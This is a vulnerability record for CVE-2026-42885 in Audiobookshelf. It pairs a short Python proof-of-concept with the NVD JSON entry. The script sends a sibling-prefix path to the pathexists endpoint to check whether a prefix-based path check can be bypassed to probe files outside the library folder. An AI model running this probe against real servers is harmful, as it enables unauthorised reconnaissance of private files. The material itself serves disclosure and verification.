CVE-2026-42885

import requests # Target URL (replace with actual instance) target_url = "http://localhost:13378/api/filesystem/pathexists" # Authentication token is required as per PR:L # An attacker would need a valid session or API token from a user with upload permissions headers = { "Authorization": "Bearer <VALID_TOKEN>", "Content-Type": "application/json" } # Exploit scenario: Checking a sibling directory with a common prefix # If the library is configured for '/audiobooks', checking '/audiobooks-private' # might bypass the String.startsWith() validation check. payload = { "path": "/audiobooks-private/sensitive_config.json" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # If the server returns that the file exists, the path validation was bypassed if data.get("exists"): print("[+] Vulnerability Confirmed: File exists outside library boundary.") else: print("[-] File does not exist or path blocked.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-42885", "sourceIdentifier": "[email protected]", "published": "2026-05-11T20:25:44.877", "lastModified": "2026-05-11T21:19:00.733", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audiobookshelf is a self-hosted audiobook and podcast server. Prior to 2.32.2, the POST /api/filesystem/pathexists endpoint uses String.startsWith() to validate that a resolved file path is within a library folder. This check fails for sibling directories whose names share a common prefix (e.g., /audiobooks vs /audiobooks-private), allowing authenticated users with upload permission to probe file existence outside their authorized library folder boundaries. This vulnerability is fixed in 2.32.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-rhjg-p6cm-38w2", "source": "[email protected]"}, {"url": "https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-rhjg-p6cm-38w2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}